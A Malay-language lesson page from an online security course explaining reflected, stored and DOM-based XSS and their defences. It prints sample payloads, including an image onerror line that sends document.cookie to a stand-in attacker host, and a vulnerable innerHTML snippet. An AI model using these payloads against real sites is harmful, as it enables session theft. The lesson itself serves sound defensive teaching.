Skrip Rentas Tapak (XSS)
Terokai XSS pantulan, tersimpan dan berasaskan DOM dengan muatan sebenar serta mitigasi CSP.
Skrip Rentas Tapak (XSS) ialah pelajaran Cyber Security Academy percuma di CoddyKit. Ini ialah pelajaran 2 daripada 4. Sebanyak 3 pelajaran dalam laluan pembelajaran ini boleh dibaca sepenuhnya secara percuma — selepas itu, CoddyKit PRO membuka akses kepada semua pelajaran, serta latihan praktikal dengan penyunting kod terbina dalam dan tutor kecerdasan buatan yang tersedia 24/7. Pelajaran ini merupakan sebahagian daripada laluan pembelajaran Cyber Security Academy, dan kemajuan anda disegerakkan merentas web serta aplikasi CoddyKit. Kursus Cyber Security Academy merangkumi sejumlah 4 pelajaran.
Apakah XSS
Penskripan Rentas Tapak (XSS) berlaku apabila penyerang menyuntik JavaScript berniat jahat ke dalam halaman web yang dilihat oleh pengguna lain. Pelayar melaksanakan skrip dalam konteks sesi mangsa, lalu membolehkan pencurian kuki, perekodan ketukan kekunci dan manipulasi halaman.
XSS Terpantul
XSS Terpantul (tidak berterusan): skrip berniat jahat disertakan dalam permintaan (contohnya parameter URL) dan dipantulkan dalam respons. Mangsa perlu mengklik pautan yang direka khas. Contoh: https://site.com/search?q=<script>alert(1)</script>
XSS Tersimpan
XSS Tersimpan (berterusan): skrip berniat jahat disimpan dalam pangkalan data (contohnya komen atau medan profil) dan dihantar kepada setiap pelawat. Lebih berbahaya daripada XSS terpantul kerana tiada pautan khas diperlukan — setiap paparan halaman mencetuskan skrip tersebut.
XSS Berasaskan DOM
XSS berasaskan DOM berlaku apabila JavaScript membaca data yang dikawal penyerang (cincangan URL, parameter pertanyaan) dan menulisnya ke dalam DOM tanpa sanitasi. Serangan berlaku sepenuhnya pada sisi klien; pelayan tidak pernah melihat muatan serangan tersebut.
// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>Kesan XSS
Perkara yang boleh dilakukan oleh penyerang dengan XSS:
- Mencuri kuki sesi (
document.cookie) → mengambil alih akaun - Merekod ketukan kekunci (mencuri kata laluan semasa ditaip)
- Mengubah hala ke tapak pancingan data
- Melakukan tindakan sebagai mangsa (CSRF melalui XSS)
- Mengubah suai rupa halaman
Muatan XSS
Muatan ujian ringkas:
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>Pengekodan Hasil
Pertahanan utama: enkod semua hasil yang dikawal pengguna sebelum memasukkannya ke dalam HTML. Tukarkan aksara khas kepada entiti HTML: < → <, > → >, " → ".
Gunakan pengekodan yang sesuai mengikut konteks: HTML, JS, URL, CSS.
Dasar Keselamatan Kandungan (CSP)
CSP ialah pengepala respons yang memberitahu pelayar skrip yang dibenarkan untuk dilaksanakan. CSP yang ketat menyekat skrip sebaris dan mengehadkan sumber:
# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domainsKuki HttpOnly
Menetapkan bendera HttpOnly pada kuki sesi menghalang JavaScript daripada membacanya melalui document.cookie. Walaupun XSS dicetuskan, penyerang tidak dapat mencuri token sesi. Ini ialah lapisan perlindungan paling penting di samping pengekodan hasil.
Pustaka Sanitasi
Apabila pengguna mesti dibenarkan memasukkan HTML (contohnya penyunting teks kaya), gunakan pustaka sanitasi dan bukannya menulis pustaka sendiri:
- DOMPurify (JavaScript)
- bleach (Python)
- OWASP Java HTML Sanitizer
Pengujian XSS
Uji XSS menggunakan alat pembangunan pelayar, Burp Suite atau pengimbas automatik. Periksa semua medan input pengguna, parameter URL, pengepala HTTP dan fungsi sink DOM: innerHTML, document.write, eval, setTimeout dengan argumen rentetan.
Semakan Pantas: XSS
Jenis XSS manakah yang menyimpan muatan berniat jahat dalam pangkalan data, lalu melaksanakannya untuk setiap pelawat halaman yang terjejas?
Ringkasan Pelajaran
XSS menyuntik JavaScript ke dalam halaman yang dilihat oleh mangsa. Jenisnya: terpantul (berasaskan URL), tersimpan (disimpan dalam pangkalan data), dan berasaskan DOM (sisi klien). Pertahanan utama: pengekodan hasil, kuki HttpOnly dan Dasar Keselamatan Kandungan. Gunakan DOMPurify untuk sanitasi HTML. Jangan sekali-kali memasukkan data pengguna yang tidak disanitasi ke dalam innerHTML atau eval().
Pelajari Cyber Security Academy dengan tutor kecerdasan buatan — percuma
Tulis dan jalankan kod sebenar dalam pelayar anda, dapatkan bantuan segera daripada tutor kecerdasan buatan yang tersedia 24/7, dan sambung semula dari tempat anda berhenti di web atau dalam aplikasi.
- Kursus
- 76
- Pelajaran
- 303
Soalan Lazim
Adakah pelajaran “Skrip Rentas Tapak (XSS)” percuma?
Ya — sebanyak 3 pelajaran dalam laluan pembelajaran Cyber Security Academy, termasuk “Skrip Rentas Tapak (XSS)”, boleh dibaca sepenuhnya secara percuma di web ini. Selepas itu, CoddyKit PRO membuka akses kepada semua pelajaran, serta latihan interaktif dengan penyunting kod terbina dalam dan tutor kecerdasan buatan yang tersedia 24/7. Kursus Cyber Security Academy merangkumi sejumlah 4 pelajaran.
Apakah yang akan saya pelajari dalam “Skrip Rentas Tapak (XSS)”?
Terokai XSS pantulan, tersimpan dan berasaskan DOM dengan muatan sebenar serta mitigasi CSP. Anda berlatih Cyber Security Academy menggunakan kod praktikal yang dijalankan terus dalam pelayar, manakala tutor kecerdasan buatan 24/7 menjawab soalan anda semasa anda mengikuti pelajaran.
Adakah saya memerlukan pengalaman untuk memulakan Cyber Security Academy?
Tiada pengalaman terdahulu diperlukan. Pembelajaran Cyber Security Academy di CoddyKit disusun untuk pelajar daripada peringkat pemula hingga lanjutan, jadi anda boleh bermula di sini atau dari awal dan belajar mengikut kadar anda sendiri. Ini ialah pelajaran 2 daripada 4.
Berapa lamakah pelajaran “Skrip Rentas Tapak (XSS)” diambil?
Kebanyakan pelajaran CoddyKit mengambil masa kira-kira 5–10 minit. Setiap pelajaran ringkas dan interaktif, jadi anda boleh membuat kemajuan secara berterusan dan menyambung tepat dari tempat anda berhenti di web atau aplikasi.
Bolehkah saya menulis dan menjalankan kod dalam pelajaran Cyber Security Academy ini?
Ya. Setiap pelajaran Cyber Security Academy menyertakan penyunting kod terbina dalam, jadi anda boleh menulis dan menjalankan kod sebenar terus dalam pelayar serta menerima maklum balas kecerdasan buatan serta-merta — tanpa memerlukan persediaan setempat.
Semua pelajaran dalam kursus ini
- Suntikan SQL: Cara dan Sebab Ia Berfungsi
- Skrip Rentas Tapak (XSS)
- Pemalsuan Permintaan Rentas Tapak (CSRF)
- Salah Konfigurasi Keselamatan dan Perkhidmatan Terdedah